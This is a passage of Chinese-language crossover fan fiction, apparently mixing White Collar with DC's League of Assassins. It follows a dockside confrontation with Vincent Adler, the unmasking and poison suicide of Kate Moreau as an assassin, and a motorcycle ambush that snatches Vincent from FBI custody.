达米安则不见踪影。按照计划，他单独现身与文森特见面，卡修斯负责外围警戒和可能的偷袭。 “文森特真的会来吗？”尼尔压低声音问，眼睛不断扫视着昏暗的码头，“那个小孩真的能——” “嘘！”卡修斯突然按住他的肩膀，“别出声，有人来了。” 为了方便沟通，他们的耳朵里都戴着通信器，其实是担心达米安听到尼尔叫他“小孩”。 不过也确实是有人来了。 远处的暗影中，一个身影缓缓走近。那是个五十多岁的男人，穿着考究的灰色风衣，鬓角被发胶固定的一丝不苟，举手投足间透着上流社会的优雅。 等他终于靠近灯光时，尼尔的手忍不住握成拳。 文森特·阿德勒，他真的出现了。 “我来了。”文森特的声音在空旷的码头上回荡，但卡修斯听得出，他的声线很紧，可见他的内心并不像他表现出来的那样镇定。 “我知道是你。出来吧，我们没必要玩捉迷藏。” 寂静持续了几秒，就在文森特忍不住想要转身离开的时候，一个细长的阴影投射在被码头昏黄路灯照射的地上，刚好在文森特的对面。 他吃了一惊，条件反射的抬头看，只见那个始终跟在拉尔斯大师身边的男孩正站在他头顶的路灯上，垂着眼，用他熟悉的，只在上师拉尔斯身上见过的，藐视一切的神情看着他。 因为男孩站在灯柱上，背着光，让面向灯光的文森特看不清他的表情，但他知道，自己脸却完完全全暴露在对方的视野之中。 “文森特·阿德勒。”达米安的声音虽然稚嫩，但依旧让人感到一丝丝彻骨的寒意。 和卡修斯一起隐匿在不远处的尼尔这才发现，这孩子在对着他们说话的时候，态度真的算的上友善。 文森特的声音明显僵硬了一瞬，但很快恢复了镇定：“达米安少主，上师……他没来吗？” 达米安站在灯柱上冷笑一声。 “如果他在这里，还能容忍你的背叛吗？” 文森特干笑一声：“你在说什麽，我不懂。还有，您能下来吗？这灯光晃眼，照的我眼睛受不了。” 说着，他还真的擦了擦眼角。 达米安不想跟他废话，直接说：“你现在把潜艇的所有信息都交给我，我还能留你一条命，并且承诺不会让刺客联盟的任何一个人追杀你，但是如果在我说完这句话后，你接下来说的话不是我想听的，那就别怪我不留情面。” “既然您提到了潜艇和宝藏，想必您也知道，这是上师亲自命令我查找的，除了上师，我不会告诉任何一个人和这件事有关的细节，就算是你也不行。”文森特悄悄咽了口口水，故作镇定的说。 同时，他的眼睛开始不动声色地环顾四周。 虽然他本身不善武艺，但他也受过刺客联盟的训练，他在观察周围的环境，试图弄清楚这位刺客联盟少主到底带了几个人来赴约。 他感受到两个人的气息，一个又轻又稳定，一听就是受过专业的隐匿训练，应该是刺客联盟训练出的杀手，另外一个明显沉重又混乱，而且还带着一丝熟悉。这让文森特立即对对方的身份有了猜测。 “达米安少主，我斗胆猜测一番，您此次来寻我，一定是受了别人的蒙骗，比如说，尼尔·卡夫瑞？你可千万不能相信他。他想骗你为他夺取宝藏，然后据为己有，只有我们两个人，才是在同一个阵营的呀！” 文森特心里疯狂运转，不知道尼尔·卡夫瑞是怎麽跟达米安·奥·古联系上的。但对方既然已经知道了潜艇的事，那一定是破解了八音盒的秘密，并且查出了爱丽克丝的身份，做足了准备。 尼尔突然被保释，这打乱了他原本的计划，仓促间只能让凯特先藏起来不要被他找到，然后想利用他想见凯特的心情，一步步让他交出八音盒。 但是没想到他竟然这麽快就参透了八音盒里面的秘密。 听说他现在和FBI精英罪案组的人走的很近，文森特猜测也许是因为有了政府的帮助，才让他这麽快解密了八音盒。 如果是这样的话，尼尔·卡夫瑞就必须死了。 “要知道，他前两天还帮助FBI破获了一起连环银行劫案，他现在有美国政府的帮助，一定是他欺骗了你，等他拿到得到宝藏，一定会背叛您的！他是个为达目的不择手段的人，当初他为了得到喜欢的女人，不惜杀死了对方深爱的未婚夫！” 文森特大声说。 尼尔忍不住想要冲出去，被卡修斯按住肩膀狠狠固定在原地。 卡修斯冲他摇了摇头，让他不要冲动。 达米安冷笑一声：“首先，我才不认识什麽尼尔尼克的，第二，你说的，没有一句是我想听的。所以，你就是单纯来送死的吗？我可以成全你。” 在得知达米安只带了一个刺客之后，文森特的表情忽然狰狞起来。 “哈，看来我的消息是真的，拉尔斯真的已经死了。你也不再是什麽狗屁少主了。” 如果是祖父，母亲俱在的达米安·奥·古，他绝对不会站在高处任由自己辩解这麽多，他到现在还没动手，只能说明他现在势单力薄，而且完全失去了对刺客联盟的掌控力。 “你在找死。”达米安阴森森的说。 “少主，”文森特虽然还这样叫他，但声音已经变得极度轻蔑，“现在你身边只有一个近侍加上尼尔·卡夫瑞这个废物，可我带来的人可比你多，你说，我们到底谁会死呢？” “尼尔·卡夫瑞，你以为找到一个奥·古就能赢我了吗？做梦，我早就看这个嗜血残暴的小兔崽子不顺眼了，今天刚好宰了他，而你，就是我完美的替罪羊。我会留你一命，但你将永远活在被世界上最凶残的杀手们追杀的恐惧里，不过你放心，你的恐惧不会延续太久，杀死刺客联盟的少主，这罪名不会让你活太久的，FBI无法庇护你，你会死得很快，说不定都见不到明天的太阳。” 文森特得意洋洋地大声说，接着他从口袋里掏出一只信号弹，拉掉了引线。 一枚绿色的信号弹升空，炸开一个诡异的图形。 卡修斯看到那个图形，神情立即变得严肃起来。 看来拉尔斯给文森特的权限非常大，居然给了他刺客联盟的刺客召集令。 现在大概整个纽约的刺客都在往他们这儿聚集。 人为财死鸟为食亡，那艘潜艇里装的可是价值数百亿的财富。拉尔斯还活着的时候，文森特不敢有任何想法，但拉尔斯死了，文森特想要将宝藏据为己有也很正常。 这个信号弹也许是当初拉尔斯留给他，让他对抗更危险的组织抢夺宝藏的，但现在居然被用在了打算截杀达米安·奥·古身上。 “你的话真多，崽种！”达米安抽出腰间的刀，从灯柱上径直跳了下来。 就在他即将把文森特一刀劈成复数的时候，对方的身前忽然出现了一名黑衣刺客，抬刀挡住了达米安的刀。 文森特趁机后退了几步，将达米安留给了刚才护卫他的刺客。 杀手的身型非常娇小，达米安和对方一交手，就察觉到对方并不是男性，而是刺客联盟比较珍贵的女刺客。 但就算对方珍贵，也不妨碍达米安出手时的不留情面。 女刺客覆着面，对这位刺客联盟的少主同样是重拳出击。 看得出，对方的身手也不差，绝对是联盟中的顶级刺客。达米安没想到外祖父居然这麽重视这船宝藏，将这种级别的刺客都派给了文森特·阿德勒。 文森特趁着达米安被缠住，无法靠近自己的时候，一边缓缓后退到自以为的安全距离，一边从风衣内掏出一把枪，在达米安和女刺客激烈的打斗中，瞄准了达米安的后背。 “永别了，小少主，我相信你的头会让刺客联盟的下一个主人更加看重我的价值——” 他的话音未落，一道黑影从侧面朝他扑过来。 文森特等的就是这一刻。在达米安和女刺客的告诉移动过程中，其实他很难保证自己一定能击中达米安。 他的护卫此刻在他心中的价值可比达米安高多了，不到不得已的情况下，他并不想牺牲对方。 所以在感受到旁边有动静的时候，他立即转向，将枪口对准了来人。 可惜对方不是他预想的，和达米安一样手持冷兵器的刺客，而是和他一样更喜欢热武器的人。 尼尔比文森特更快开枪。 文森特惊讶于自己看到了谁，一时间失了准头。子弹打偏了，而尼尔却没有，他的子弹准确地打入了文森特的胸口。 对方被子弹的冲击力震的后退几步。低头看了看自己的胸口，嵌在防弹衣里的子弹，然后抬起头，举着枪瞄准尼尔说：“你可真让我惊讶，尼尔，你居然还会玩枪。” 尼尔冷漠的看着他：“是你杀了凯特·莫罗的未婚夫！凯特在哪里！” 两人举枪对峙着，文森特笑的更嚣张了。 “尼尔·卡夫瑞，你一次都没赢过我，我从不和失败者交换信息。” 越来越多的杀手出现在码头，围住了达米安。 “尼尔·卡夫瑞，他杀死了联盟少主达米安·奥·古，这个人是他找来的替代品，杀死这个冒牌货！” 文森特朝着达米安的方向大声喊。 在刺客联盟中，最先响应/召唤的都是低级刺客，而这些刺客大部分都没见过联盟少主。和他们接触最多的，刺客联盟的高级干部就是文森特·阿德勒。他们肯定只会相信他。 他就是想利用这个信息差，用人海战术直接将达米安给耗死，等到级别更高的刺客出现的时候，达米安已经死了，到时候还不是自己说什麽是什麽？而那些侥幸没有被达米安杀死的刺客们，为了自己的性命，也绝对不会乱说话的。 “我们稍微停战如何，和我一起见证一个奥·古的死亡。”文森特的脸上出现一种扭曲的兴奋。 尼尔看着他的眼神充满仇恨，但他谨记卡修斯对自己的嘱咐。他的任务就是看住文森特，绝对不要让他趁乱逃跑。 达米安被越来越多的刺客围攻，而一开始那个女刺客也找到机会，打算一击必中。就在达米安疲于应对，背后露出一点破绽的时候，她立即抓住时机，打算给他致命一击。 可正如刚才，她为自己的主人挡下达米安的进攻那样，一把袖剑挑开了她刺向达米安后心的刀。 卡修斯一脚踹到她的肚子上，直接将她踹的后退好几步。 卡修斯和达米安以背相贴。 “我还以为你看戏看的太入神，不打算出现了呢！”达米安背对着他哼道。 “怎麽会，少主。”卡修斯嬉笑道。 只不过他刚才悄悄隐在暗处，在计算自己具体能听到文森特·阿德勒心声的距离。 文森特也算是尼尔故事里比较重要的反派，按照他们之前总结出来的规律，他没有理由听不到文森特的心声。 但他刚才试着在可以隐藏踪迹的距离里，尽可能的靠近文森特，遗憾的是还是没听到。 卡修斯这才打算暂时不纠结这个，去帮达米安。 刺客们看到那个传说中的冒牌货有帮手加入，短暂的停了一会儿攻击，但依旧将两人围在中间。 刚才卡修斯那一脚不算轻，女杀手将捂着腹部的手放下，直面卡修斯，但痛感应该还没过去，她的背微微弓着。 卡修斯轻笑：“别怪我对女士动手，主要是你先对小孩动手。” 说着他扫了一眼围着他们的刺客，手腕微微转动，露出了袖剑上的鹰首纹章。 所有看到这个纹章的刺客都有些犹豫了。 他们也许没见过刺客联盟少主，但都认识纹章，这个标记一般是恶魔之首亲自调·教出来的刺客，或者说是恶魔之首最看重的下属，文森特·阿德勒也有一个这样的纹章，这就是身份的象征。 刺客们虽然还围着两人，但都犹豫起来，不敢再攻击。 “刺客联盟都收了些什麽蠢货？不认识我，倒是认识我的宠物？！” 卡修斯用余光看到达米安表面正保持着刺客联盟少主的冷傲，但心里却在暴躁尖叫，忍不住有些想笑。 只有女刺客不受影响，依旧执着地朝着卡修斯和达米安冲过来。 文森特看到那些刺客们开始犹豫了，不由得有些着急。 “杀了他们！”他大喊，“你们以为和他动过手，你们还能活着吗？杀死他，是你们唯一的活路！” 这段时间达米安在哥谭修身养性，其实已经没有一言不合就杀人的习惯了，连刚才的打斗中，他都是刀背朝外，像蝙蝠侠那样，最多是将这些不长眼的刺客们打的起不来，并没有真的下死手。 但他看着面前被阿德勒煽动的，蠢蠢欲动的刺客们，实在是不想再忍耐了。 他轻动手腕，将武士刀的刀刃朝外。 “吱吱，你是对的。今天的事要保密，不能让父亲知道。” “我答应父亲不再杀人，但这里不是哥谭，我要开始杀人了。” 就在达米安的刀挥向最先向他冲过来的刺客时，一枚子弹穿透了刺客的后脑，他根据惯性又往前冲了两步，达米安侧身躲开。 刺客扑通一声倒地。血从他的头部流了出来。 刺客们下意识找地方隐蔽，只有女刺客，不管不顾地朝着达米安冲了过来。 又一枚子弹射出，直接打穿了对方的膝盖。 女刺客踉跄一下，跪倒在地。 “留活口！”达米安大声喊。 “嘁——” 耳朵里忽然又响起一个熟悉的声音。 卡修斯顿时头皮发紧。 是杰森的声音。 越来越多的刺客聚集在此地，卡修斯还听到了警笛声。 “谁报警了？”他警惕地问。 “不好意思，是我……”一直没出声的爱丽克丝心虚的发声，“刚才我看情形不对，就联系了莫兹，让他联系彼特·博克来救人……不好意思哈！” “噗——哈哈哈哈，恶魔崽子，翻车了吧！” “闭嘴，陶德！” 不远的天空中忽然凭空出现一艘造型非常不地球科技的飞行器，从里面跳出一个同样身着刺客服，但带着多米诺面具的男人，他被兜帽遮住的前额，一簇白发相当瞩目。 文森特见势头不对，想要开枪杀死尼尔，但尼尔比他还快，先一步开枪，打中了他的膝盖。 “啊！” 尼尔快步上前，一脚踢中他的手腕，将他的枪踢向远处。 “你！” 尼尔用枪瞄准他的脑袋：“你不知道的是，我的父亲也是个警察，这东西我从小就玩。” 杰森已经走到了达米安面前，给他递上一个包袱。 “赶紧把你这个丑的要死的罩袍脱了吧，恶心死了。” 他走上前的时候，故意没看卡修斯。 卡修斯已经看到彼特·博克的车了。 他赶紧也从兜里摸出来个多米诺面具扣脸上。 达米安没接东西，反而看着卡修斯。 卡修斯回给他一个清澈愚蠢的眼神。 “难道愚蠢也会传染？谁家的护卫让少主自己接东西？！” 卡修斯：…… 我不是宠物吗？什麽时候升职的？ 但他还是接过了包裹，打开一看，沉默了。 是一件和拉尔斯同款的绿色大氅，只不过小了好几个号，明显是个儿童版的。 懂了，三年之期已到，恭迎龙王回归是吧！这就演起来！ 杰森忍不住莫名其妙的看了卡修斯一眼，什麽乱七八糟的？ 彼特·博克已经带着戴安和琼斯冲了进来，一个控制尼尔，一个将文森特·阿德勒拷住拎了起来。 彼特·博克举着枪，孤身闯入被一群杀手包围的两个面具人和小孩面前。 “放下武器！” 彼特对着一群冷兵器杀手，大声怒吼。 他接到匿名电话，说尼尔抓到了逃匿多年的文森特，让他们赶快去支持。 彼特一身冷汗的赶到现场，没想到会遇到这种场面。 他不知道面前这个小孩是什麽身份，为什麽这麽多杀手模样的人围着他，但他下意识地站在了小孩的面前，想要保护对方。 达米安在彼特出现之前，戴上了多米诺面具，卡修斯也早就收起了袖剑。 他帮达米安脱掉白色罩袍，披上了绿色的斗篷。 当肩扣扣好的那一瞬间，围着他的这群刺客忽然齐齐下跪，吓得彼特差点开枪。 “出于对您的尊崇与致敬，暗影将匍匐在地，屈服于恶魔之子！*” 近百人齐齐出声。 卡修斯：…… 真·龙王回归啊？ 杰森也一脸卧槽。 他好像知道龙王回归什麽意思了……在刺客联盟待了五年，怎麽不知道还有这麽个仪式，早知道他就不答应过来给他送龙袍了，这也太有病了！ 彼特·博克：…… 好像保护错人了。 第85章 ”让世界匍匐于暗影之下！” 不远处的戴安和琼斯都忍不住侧目，然后对视。从彼此的眼里看出对方最想说的就是“WTF？！” 虽然这个场面在他的职业生涯中见过的大场面中算是相当抓马，但彼特的手指依旧紧紧扣在扳机上，指节因用力而发白。 他的目光在面前这群忽然跪下的黑衣死磕和那个披着墨绿色斗篷的小孩子之间来回扫视。 说抓马，是因为在FBI他也见过无数疯狂场面，但眼前这一幕还是超出了他的理解作用域——近百名全副武装的杀手，向一个看起来只有十来岁的孩子俯首称臣？真的太难理解了，如果现场不是有尼尔和逃逸多年的文森特·阿德勒在，彼特都要误以为自己误入了什麽奇怪的电视剧拍摄现场。 不过他还是慢慢冷静了下来。 带着面具的小孩一扬手，这些刺客们才又齐齐起身，这又吓了彼特一跳，立即喊道：“所有人不许动！” 他的声音因紧张而略显嘶哑，他侧头对身后的琼斯低吼，“调用支持！我们需要——” “博克探员，建议你不要这麽做。” 一个低沉的声音打断了他。彼特一惊，因为这声音是从他的脑子里传出来的。他猛地抬头，看着距离自己最近的三个人，一下子就锁定了带着黑色多米诺面具的男人。 “你是——” “嘘——不要说出那个名字，除非你不想活了。” 彼特立刻止住话头，他抬起头，准确的从距离自己最近的三个人中，将带着黑色多米诺面具的卡修斯·希尔定位。 他又扫了一眼正用冰冷眼神看着他的奇怪小孩，和手指始终没有离开腰间枪械的另一个红色多米诺面具男人——这个男人刺客也看着卡修斯，也像是听到了什麽的样子。彼特不能确定，只能再观察一下。 “冷静点，探员先生，你眼前的这些人不是普通罪犯，他们是刺客联盟的成员——国际公认的极端恐怖组织。你确定要让你的同事来送死吗？” 戴着面具的卡修斯表面上看不出任何破绽，就像根本没有在心里和他进行这场奇怪的对话似的。 可能是因为他的视线一直落在卡修斯身上，站在他旁边的红色面具男人上前一步，用自己身体挡住了他的视线。 但彼特下意识地抬高了枪口：“站住，再靠近我就开枪了！” 其实卡修斯也是猛地想起，彼特·博克也是能听到自己心声的，一张多米诺面具根本没办法帮他隐藏身份，所以干脆改变策略。 卡修斯抬手拨了杰森一下：“没关系的。” 这下彼特确定了，这个人应该也能听到卡修斯在心里说的话。 他看着男人的装束，又想到刚才卡修斯给那个小孩披上大氅的样子，下颌绷的更紧了。 他后悔了，不该只带三个人就冲进现场的。当时他担心尼尔的安全，又怕惊动太多人又会害了尼尔——匿名打给他的人特地强调了，尼尔是为了抓文森特·阿德勒，才私自行动的。 所有的证据都显示，卡修斯·希尔也绝对和刺客联盟有着更深度的联结。他当然知道这个国际恐怖组织——他们涉及的案件往往直接移交给正义联盟处理，普通执法机构根本不允许擅自参与和这个组织有关的案件。 “为什麽这些杀手会听一个孩子的命令？” 彼特厉声问道。 “你没资格知道，探员。”卡修斯身后的小孩冷声警告。 卡修斯生怕达米安口出狂言，继续拱火，马上接话道：“这不重要，重要的是，今天这里发生的事已经超出了你的管辖范围。” 他指了指被戴安控制住的尼尔和文森特，“把那两个人交给我们，你可以带着你的人安全离开。” “不可能！”彼特怒吼，“尼尔·卡夫是联调局的顾问，文森特·阿德雷是FBI的通缉要犯！” 他看到卡修斯叹了口气，转头看向绿斗篷小孩，姿态中带着请示的意味。 这个细节再加上刚才面前这将近百名杀手齐声诵出的口号，让彼特猜测，这个看上去都没有他腰高的小孩，可能就是刺客联盟传说中的继承人——他们每年的培训，都会向参加培训的探员更新这些世界知名恐怖组织的领导者的名单，虽然他们不参与刺客联盟的案子，但关于这个组织一些不涉密的基本信息还是会被告知的，比如说，五六年前的培训就更新过这个组织的数据。刺客联盟的实际控制者，恶魔之首，有了最看好的继承人，当时他就觉得匪夷所思，不太相信这个消息是真的。 但现在看来，面前这个小孩恐怕就是传说中的继承人。 他刚才听清楚了，这些杀手叫他“恶魔之子”，多麽毛骨悚然的称谓。卡修斯·希尔究竟是什麽身份，为什麽他既和韦恩集团有联系，又和这个恐怖组织的继承人关系匪浅，这里面，韦恩家族又扮演着怎样的角色？ 就在彼特一边死死盯着面前的人，一边激烈的头脑风暴时，绿斗篷小孩不耐烦的点了点头，卡修斯就重新转向他：“好吧，折中方案，把尼尔·卡夫瑞交给我们，你可以带走文森特。相信我，探员，这是为了你好。” 彼特刚要拒绝，耳机里突然传来琼斯的汇报：“头儿，纽约警局的支持至少还要十五分钟才能到！” 彼特咬紧牙关，目光再一次扫过现场——他的团队只有三个人，而对方有近百名武装分子。如果爆发冲突……他不敢想象后果。 “琼斯，”他终于艰难地开口，“把尼尔带过来。” “什麽？但是——”琼斯非常惊讶。虽然他和尼尔相处的不久，但对这个帮助他们破过案的“特别顾问”已经有了些好感，他不明白一向不会和犯罪分子做妥协的彼特为什麽会答应对方的要求，用尼尔来交换他们的安全吗？ “执行命令！” 彼特以为对方是要带走尼尔，这让他倒不是很担心。他知道面前这个人是卡修斯·希尔，韦恩集团那麽大一栋楼在那儿，他相信对方绝对逃不了多久。而且，根据之前他观察的这两个人相处的细节，他相信尼尔还是会安全的。不过这倒是给了他一些新的思考思路，有可能，今天的这一切，可以从尼尔这里作为突破口侦查。 就在他还在思索的时候，琼斯已经不情愿的带着尼尔走向他们。 尼尔的表情的很复杂，但并没有看向彼特或者卡修斯，而是看向了不远处，被几个刺客押着跪在地上的女杀手。 卡修斯忽然伸手，抓住了尼尔的手腕。 “等等！”彼特厉声制止，“你要对他做什麽？” 卡修斯没有理会彼特的警告，而是再次转向“恶魔之子”：“少主，要现在审问吗？” 达米安指向跪着的女杀手：“先处理她，毕竟我们答应过卡夫瑞，要带他见她。” 彼特再一次惊讶的看向尼尔，不知道他又是怎麽和刺客联盟的人扯上关系的。他狠狠瞪着尼尔，用眼神表达着自己的震惊和愤怒。 男孩说完，卡修斯就带着尼尔向女杀手走去。彼特立刻上前一步拦住他们：“站住！你不能——” “闭嘴！”达米安高声叫道。三人之中那个戴着红色多米诺面具的人“友好”地拍了拍他的肩膀，实则捏住了他的颈侧。 “探员，你是个好警察，我不想看你血溅当场，所以，当这个有病的恶魔崽子让你别说话的时候，你最好听他的。来来来，放松一些，好戏就要开场，是我最喜欢的相爱相杀剧情。难道你不好奇，这个女杀手到底是谁吗？” 彼特看了他一眼，从他露在面具之外的轮廓看来，这个男人的年纪说不定比卡修斯都小。 “探员，我向你保证，今晚不会有任何人死，但是如果你过于固执的话，我可就不能保证了。”卡修斯的声音又在他脑中响起。 “呵。” 旁边的红色面具青年不屑的哼了一声，像是完全不相信他的保证。 “我……我要确保尼尔·卡夫瑞的安全。”彼特最终让步，但依然紧握手枪，“如果她或者你们有任何危险举动，我会立即开枪。” “我最讨厌被威胁！”斗篷男孩恶狠狠的向他举起刀，所有的刺客立即做出了攻击的态势。琼斯在举起枪的瞬间，被站在旁边的红面具一把抓住枪口压下来。 “我劝你不要用枪对着他，恶魔崽子犯起病来，谁也拉不住他。” “僵尸！你在找死吗！”达米安恶狠狠的说。 但卡修斯完全不被这边的插曲影响，他已经带着尼尔来到女杀手面前。 女杀手全程沉默，即使跪着，身体也挺的笔直，面巾遮住了她几乎整个脸，只露出一双眼睛。 这双眼睛，尼尔曾经无数次注视，沉沦，可没有一次发现，这双眼睛里居然也能投射出如此冷漠的神情。 “尼尔，”卡修斯说，“你要亲自摘下面罩吗？” 彼特虽然担心尼尔的安危，但此刻，他也非常好奇，这个杀手到底是谁。 在尼尔的卷宗里，他只做过金融和艺术品相关的案件，从来都没有涉及过任何凶杀案件，更和这些恐怖分子八竿子打不着，可现在这情形，双方明显认识。 他当初在追捕尼尔的时候，就对他的人际关系做过无数遍筛查，从没发现他和任何杀手组织有联系。而且他那麽爱他的女朋友，又那麽聪明，应该知道，一旦和这些人扯上关系，就会是安稳人生和稳定关系中的定时炸弹。 凯特·莫罗那麽柔弱，尼尔不会让凯特陷入这种危…… 彼特盯着女杀手的眼睛，倒抽一口气，一个荒谬的猜测出现在他脑海里。 尼尔的手微微发抖，伸向女杀手的面罩，但就在碰触到布料的时候，他又放弃似的松开了手。 “不，不是，她不是……”尼尔后退一步，不想摘面罩。 卡修斯叹了口气，出手如闪电，尼尔连阻止都来不及。 “那就由我来吧。” 随着他的话音落下，对方的面罩也被扯了下来。 时间仿佛凝固了。 面罩下是一张彼特再熟悉不过的脸——亚麻色的头发，浅蓝色的眼睛，如同洋娃娃般精致的五官，正是FBI文件里凯特·莫罗的照片。这也是尼尔还在监狱时，彼特每周都能在探视视频的监控回放中看到的女人。 但眼前的这个女人眼神冰冷，和尼尔甚至彼特印象中那个温柔软弱的样子判若两人。 “不不不……你不是她……”彼特从没听过尼尔用这麽脆弱的声音说过话。他挣脱卡修斯的手，后退了好几步，又像是猛地反应过来似的，疾走几步靠近，捧着她的脸，才说：“你是被逼的是不是？这一切都是文森特，他逼你接近我……” 凯特侧过脸，冷漠地避开他的手：“一切都是为了主人。”她的声音没有一丝波澜，“我永远忠于刺客联盟。” 彼特震惊地看着这一幕。 作为尼尔案件的负责人，他研究过凯特·莫罗的所有数据，当初抓捕尼尔，都是以凯特为诱饵吗，才成功抓住尼尔这个隐匿大师。彼特知道尼尔有多爱这个女孩。他后来坦白道，早就知道自己只要去见凯特，就一定会被抓，但他为了再见她一面，甘愿入狱。 可现在，凯特·莫罗居然是这个恐怖组织的杀手？ “哈！”男孩突然发出一声尖锐的冷笑，“忠于联盟？帮助那个叛徒刺杀你真正的主人也是忠诚的表现？” 彼特觉得自己大脑的CPU可能都要在这一晚上烧干了。叛徒？谁？文森特·阿德勒吗？他也是刺客联盟的人？ 所以刺客联盟接近尼尔到底为了什麽？ 卡修斯注意到，凯特没有回答达米安的质问，而是深深看了尼尔一眼，那眼神不再冷漠，而是流露出一丝复杂的伤感情绪。 但这种情绪也是一闪而过，快到卡修斯以为自己眼花。她恢复了今晚惯常的表情，语气冷漠的令人心碎：“我所做的一切，都是为了一个更伟大的目标——让世界匍匐于永不褪色的阴影之下。” 说着，她看了达米安一眼：“我们所有人的存在，都是为了见证恶魔之首的永生！” 话音刚落，她的喉头微动，嘴角立即渗出暗色的血液。 “不！”尼尔瞬间反应过来，疯狂地扑上去掐住她的下巴，“吐出来！凯特，吐出来！” 但已经太迟了。凯特的眼神迅速涣散，身体软绵绵地倒了下去。 尼尔跪在地上，抱着她，掰开他的嘴，想要从她嘴里把毒药抠出来。 卡修斯也呆住了。 他没想到凯特居然这麽干脆的就自杀了。 “□□。”红面罩的人冷静地说，他看向卡修斯的眼神有些戏谑，“保证不会死人？” 他可太清楚刺客联盟的行事风格了，现在自杀，对她来说，也许还是一种解脱。 彼特也呆在原地，手中的枪不知不觉垂了下来。 这一切发生得太快，也太超现实——他办案这麽多年，也是第一次见这麽痛快自杀的人。 “好了，戏看完了，各回各家——” 被绿袍男孩称作“僵尸”的男人拍了一下手，转身欲走。 “不许走！”彼特突然惊醒般大喊。 发生这麽严重的恶性事件，他不可能让涉案人员轻易离开。 就在他话音落下的瞬间，变故陡生。 “僵尸”忽然朝着彼特咧嘴一笑。 没等他反应过来，一记手刀准确地劈在他的手腕上。 彼特痛呼一声，手枪掉在地上。但他反应极快，第一时间就抓住了尼尔——他还记得对方的目标时尼尔，只要控制住他，对方也不能轻易脱身。 但没想到对方竟一把扛起了卡修斯，像扛麻袋一样甩到肩上，转身就跑。 “艹啊！别这麽弄我！难受！”彼特眼睁睁的看着卡修斯抓着对方的头发一阵撸。 “拦住他们！”没时间替别人头皮疼，彼特冲着琼斯大喊。 绿色斗篷男孩冷笑一声，从斗篷下掏出一个金属球体，猛地砸在地上。 “砰！”一声闷响，浓米的烟雾瞬间屏蔽了彼特的视线，只听到一阵整齐的脚步声和摩托车引擎的轰鸣。 “琼斯！戴安！控制住尼尔和文森特！别让他们——”彼特的命令被一阵此起彼伏的“砰砰”声打断。杀手们一个接一个地扔下烟雾弹，码头的能见度迅速降至零。 当烟雾终于散去时，彼特发现，除了跪在凯特尸体旁的尼尔、被铐住的文森特，以及自己的两名探员，其他人全部消失了。 “该死！”彼特狠狠踹了一脚地上的金属空壳，按下自己的通信设备，“总部，我是彼特·博克，请求立即支持！地点布鲁克林红鈎区废弃码头，有多名极端危险分子逃逸！另外……”他看了一眼失魂落魄的尼尔，声音低沉下来，“需要法医小组，有一具女性尸体。” 警车的后座上，尼尔像尊雕塑般一动不动。他的西装上沾满了凯特的血，双手无力地垂在身侧，眼神空洞地望着窗外飞速后退的街景。彼特从后视镜里观察着他，心中五味杂陈。 “尼尔，”皮特最终打破沉默，“我需要知道刚才发生了什麽。凯特·莫罗……” 没等他说完，尼尔无神地盯着窗外，说：“你问错人了，彼特。我也是刚才才知道……”他的声音哽咽了一下，“才知道和我在一起的人，从来就不是真正的凯特。” “什麽意思？”彼特皱眉。 “文森特·阿德勒。”尼尔的声音忽然变的阴沉，“一切都是他安排的，如果你想知道什麽，问他吧。” “我们会审问他的。”彼特保证道。刚才将他押送上警车的时候，琼斯已经对他进行了一次全身搜查，尤其是口腔之中，让后来的警员制住他，掰开他的嘴，一颗颗牙齿检查的。 沉默了一会儿，彼特忽然按下耳机，“戴安，你亲自去卡修斯的住处看看。如果他不在家，就立即申请搜查令。” 虽然他可以肯定，今天对面的人就是卡修斯，但他需要确实的证据。否则，凭借韦恩集团法务的力量，自己可能根本没办法轻易得到审问他的机会。 “什麽？”戴安不明白这和卡修斯有什麽关系，但也只是疑惑了一下，马上应了是，然后离开了车队，朝着曼哈顿区的方向驶去。 彼特说话的时候，一直观察着尼尔的反应，但尼尔的反应就是毫无反应。 就在彼特想要开口问尼尔，卡修斯保释他的真实目的是什麽的时候，车队的通信器忽然响了。 “长官，我们被跟踪了！一辆红色摩托，戴红色头盔的骑手，正在快速接近！” 彼特猛地回头，透过后车窗，他看到一辆改装过的重摩托正以惊人的速度向他们逼近。摩托骑手带着一只酒红色的头盔，后座上还有个同样戴红色头盔的“乘客”。 “准备迎击！”彼特立即掏出手枪。 他认为对方口可能是刺客联盟派来抢人的，立即命令车队保护好押送文森特的车，以及他这辆载着尼尔的车。 他的话音刚落，摩托突然加速，一个漂亮的漂移超车，横在了警车前方。 彼特的车被迫急刹，轮胎发出刺耳的摩擦声。 “保护嫌疑人！”彼特一边在通信里大喊，一边摇下车窗，举枪瞄准摩托车。 “FBI！放下武器！” 骑手没有理会他的警告，后座那位“乘客”突然掏出一把造型奇特的手枪，对准警车轮胎就是一枪。 “砰！”轮胎应声爆裂，警车猛地倾斜。彼特反应极快的将尼尔铐在了车上，又再次向琼斯强调，他觉得对方绝对是来劫法场的，务必小心。 “开火！”彼特下令，同时扣动扳机。但子弹打在摩托车把前突然弹出的防弹板上。 “该死！” 他打算亲自出手，将这个摩托车上的人引开。 但对方根本没给他的会，后座的人又拿出一把枪，彼特一看，觉得今天死定了。那是一把巴/雷/特。 但他们没有攻击他，而是准确找到了文森特那辆车。后面的乘客也从位子上站了起来，瞄准对方的车身。 “轰”一声。打中了带着文森特那辆警车的引擎盖。 “住手，你们也想坐牢吗？！”彼特大喊。他猜测这两个人就是卡修斯和刚才那个红面具男人。 但对方毫无反应，不承认自己的身份。 他们直接接近了文森特那辆车，一把用枪托砸碎了对方的玻璃。然后伸手，直接将惊恐万状的文森特从破碎的车窗里拽了出来，拖在了他们的座驾后面。 "追！"彼特急的恨不得帮开车的警员踩油门。 摩托在车流中灵活穿梭，时而冲上人行道，时而逆行超车。彼特将警笛拉到最大，不顾一切地追赶。在一个急转弯处，摩托再次甩尾，后座那个“乘客”再次举枪，瞄准警车引擎就是一枪。 "砰！"引擎盖冒出一股黑烟，警车速度骤减。彼特愤怒地砸了下方向盘，眼睁睁看着摩托消失在远处的车流中。 "长官…"戴安的声音从耳机里传来，带着一丝古怪，"我已经到卡修斯的住处了，呃……他在家。正在睡觉。" 彼特愣住了："什麽？这不可能！” 第86章 想要找到宝藏的心情终于迫切起来。 在曼哈顿顶层公寓的门终于关上，“卡修斯”长舒了一口气。他走到窗前，看到那名谨慎的女探员正拿着电话，看样子应该是在给彼特·博克汇报。在挂断电话前，她还转头仰望了一下自己窗口的位置。可惜他并没有开灯，从她的角度看过去，看不到任何东西。 直到看她驾车离开，“卡修斯”撕下了脸上精致的仿真面具，露出底下属于提姆的脸。 “没有我你可怎麽办？”提姆对着窗外轻声自语道。 